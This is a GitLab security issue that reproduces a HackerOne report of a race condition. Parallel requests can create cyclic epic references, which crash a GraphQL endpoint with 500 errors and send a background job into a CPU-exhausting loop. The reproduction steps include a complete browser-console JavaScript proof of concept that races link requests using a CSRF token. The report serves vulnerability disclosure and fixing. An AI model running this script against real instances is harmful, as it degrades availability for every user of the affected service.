Skip to content

Cyclic reference of epics leads to 500 error and resource exhaustion

⚠️ Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #2553716 by xorz on 2024-06-16, assigned to @kmorrison1:

Report | Attachments | How To Reproduce

Report

Summary

A cyclic reference on epics can be created by sending parallel requests due to the lack of database level validations and the code level validations can be passed while the data is not persisted in DB yet.

Once the loop is created, one GraphQL API throws a 500 error for stack overflow and the Rails background job runs in an infinite loop.

Steps to reproduce
  1. on EE instance
  2. create a project
  3. create 4 epics, #1 (closed), #2 (closed), #3 (closed) and #4 (closed)
  4. set #1 (closed) as the child epic of #2 (closed)
  5. set #3 (closed) as the child epic of #4 (closed)
  6. get the id and iid of these 4 epics by visiting api url in your browser YOUR_HOST/api/v4/groups/GROUP_NUMBERIC_ID/epics/EPIC_NUMBER. such as http://gitlab.test/api/v4/groups/94/epics/6
  7. view the source code of one HTML page of your Gitlab instance and get the csrf-token by searching 'csrf-token' in the source code
  8. copy and paste the content of epic-script.js, don't forget to replace the variable values
  9. run the code in the Chrome console on that HTML source code page
  10. waiting for the log "Succeeded. Stopping loops.". You may need to run the code several times against the network or Gitlab instance conditions.
  11. then visit one of your epic, you should see an error message
  12. visit http://YOUR_HOST/admin/sidekiq/ as system admin
  13. then you should see the Processed number are increasing significantly and it takes 100% CPU usage
Impact
  1. other users can also see the 500 error on the attacked epic detail pages
  2. the background job can take all the CPU resources
Examples

This happened on my local instance of GitLab with the latest code version and it can also happen on any GitLab EE instance including gitlab.com.

What is the current bug behavior?
  1. GraphQL API returns 500 errors
  2. Background job has a 100% CPU usage

epic-500-error.jpg
background-jobs-usage.jpg

What is the expected correct behavior?
  1. throw errors when trying to create a cyclic reference

correct-behavior.jpg

Relevant logs and/or screenshots

epics-cap.mov

Output of checks

This bug happens on my local instance.

Results of GitLab environment info
System information  
System:         Ubuntu 22.04  
Proxy:          no  
Current User:   user  
Using RVM:      no  
Ruby Version:   3.2.3  
Gem Version:    3.5.11  
Bundler Version:2.5.11  
Rake Version:   13.0.6  
Redis Version:  7.0.14  
Sidekiq Version:7.1.6  
Go Version:     go1.22.3 linux/amd64

GitLab information  
Version:        17.1.0-pre  
Revision:       121c3f099de  
Directory:      /home/user/dev/gitlab-development-kit/gitlab  
DB Adapter:     PostgreSQL  
DB Version:     14.9  
URL:            http://gitlab.test:3001  
HTTP Clone URL: http://gitlab.test:3001/some-group/some-project.git  
SSH Clone URL:  ssh://git@gitlab.test:2222/some-group/some-project.git  
Elasticsearch:  no  
Geo:            no  
Using LDAP:     no  
Using Omniauth: yes  
Omniauth Providers: google_oauth2

GitLab Shell  
Version:        14.35.0  
Repository storages:  
- default:      unix:/home/user/dev/gitlab-development-kit/praefect.socket  
GitLab Shell path:              /home/user/dev/gitlab-development-kit/gitlab-shell

Gitaly  
- default Address:      unix:/home/user/dev/gitlab-development-kit/praefect.socket  
- default Version:      17.0.0-rc2-321-g61c24a998  
- default Git Version:  2.45.1

Impact

  1. GraphQL API returns 500 errors
  2. Background job has a 100% CPU usage

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

How To Reproduce

Summary

The reporter has indicated an issue where a cyclic reference can be created by sending parallel requests due to the lack of database-level validations. The code-level validations can be bypassed while the data is not yet persisted in the database. Once the cyclic reference loop is established, a GraphQL API endpoint throws a 500 error for any user when accessing the effected epics.

Steps to Reproduce (From HackerOne triager)

  1. On an Enterprise Edition (EE) GitLab instance, create a new group and project.
  2. Create four epics: #1 (closed), #2 (closed), #3 (closed), and #4 (closed).
  3. Set #1 (closed) as the child epic of #2 (closed).
  4. Set #3 (closed) as the child epic of #4 (closed).
  5. Obtain the id and iid of these four epics by visiting the API URL in your browser, e.g., YOUR_HOST/api/v4/groups/GROUP_NUMBERIC_ID/epics/EPIC_NUMBER.
  6. View the source code of an HTML page on your GitLab instance and get the csrf-token by searching for 'csrf-token' in the source code.
  7. Copy and paste the content of the provided code snippet , replacing the variable values at the bottom:
class RequestHandler {
    constructor(groupPath, csrfToken, epics) {
        this.groupPath = groupPath;
        this.csrfToken = csrfToken;
        this.epics = epics;
    }
    async reset() {
        let request1 = this.buildResetRequest(this.epics[0].iid, this.epics[3].id);
        let request2 = this.buildResetRequest(this.epics[2].iid, this.epics[1].id);
        return await Promise.all([request1, request2]);
    }
    async race() {
        let request1 = this.buildRaceRequest(this.epics[0].iid, this.epics[3].iid);
        let request2 = this.buildRaceRequest(this.epics[2].iid, this.epics[1].iid);
        return await Promise.all([request1, request2]);
    }
    buildRaceRequest(current_node_iid, parent_id) {
        return fetch(`${this.groupPath}/-/epics/${current_node_iid}/links`, {
            "headers": {
                "accept": "application/json, text/plain, */*",
                "accept-language": "en-US,en;q=0.9",
                "cache-control": "no-cache",
                "content-type": "application/json",
                "pragma": "no-cache",
                "x-csrf-token": this.csrfToken,
                "x-requested-with": "XMLHttpRequest"
            },
            "body": `{\"issuable_references\":[\"${this.groupPath}/-/epics/${parent_id}\"]}`,
            "method": "POST",
            "mode": "cors",
            "credentials": "include"
        }).then(response => {
            return response.json().then(json => {
                return {
                    status: response.status,
                    data: json
                }
            })
        });
    }
    buildResetRequest(current_node_iid, parent_id) {
        return fetch(`${this.groupPath}/-/epics/${current_node_iid}/links/${parent_id}`, {
            "headers": {
                "accept": "application/json, text/plain, */*",
                "accept-language": "en-US,en;q=0.9",
                "cache-control": "no-cache",
                "pragma": "no-cache",
                "x-csrf-token": this.csrfToken,
                "x-requested-with": "XMLHttpRequest"
            },
            "body": null,
            "method": "DELETE",
            "mode": "cors",
            "credentials": "include"
        });
    }
    async mainLoop() {
        const message = "This epic cannot be added. It is already assigned to the parent epic.";
        for (let i = 0; i < 1000; i++) {
            let responses = await this.race();
            if (responses && responses.every(response => response.status === 409) && responses.every(response => response.data.message === '')) {
                console.log('Create a new group and do it again');
                break;
            }
            if ((responses && responses.every(response => response.status === 200)) || (responses && responses.every(response => response.data.message === message))) {
                console.log('Succeeded. Stopping loops.');
                break;
            } else {
                console.log('Calling reset().');
                await this.reset();
            }
        }
    }
}

// Replace the value of groupPath, csrfToken, epics.
const groupPath = 'https://gitlab.example.com/groups/testgroup';
const csrfToken = 'xyz';
const epics = [{
    "iid": 1,
    "id": 3
}, {
    "iid": 2,
    "id": 4
}, {
    "iid": 3,
    "id": 5
}, {
    "iid": 4,
    "id": 6
}, ]
const handler = new RequestHandler(groupPath, csrfToken, epics);
handler.mainLoop();
  1. Run the code in the Chrome console on the HTML source code page.
  2. Wait for the log "Succeeded. Stopping loops." (you may need to run the code several times).
  3. Visit one of your epic pages, and you should see an error message and a 500 on the associated graphql call

{F3367331} 11. Visit http://YOUR_HOST/admin/sidekiq/ as a system admin, and you should see the Processed number increasing significantly, indicating high CPU usage.

Impact

This impacts all users viewing the epic, leading to a mild loss of availability.

Edited by Kevin Morrison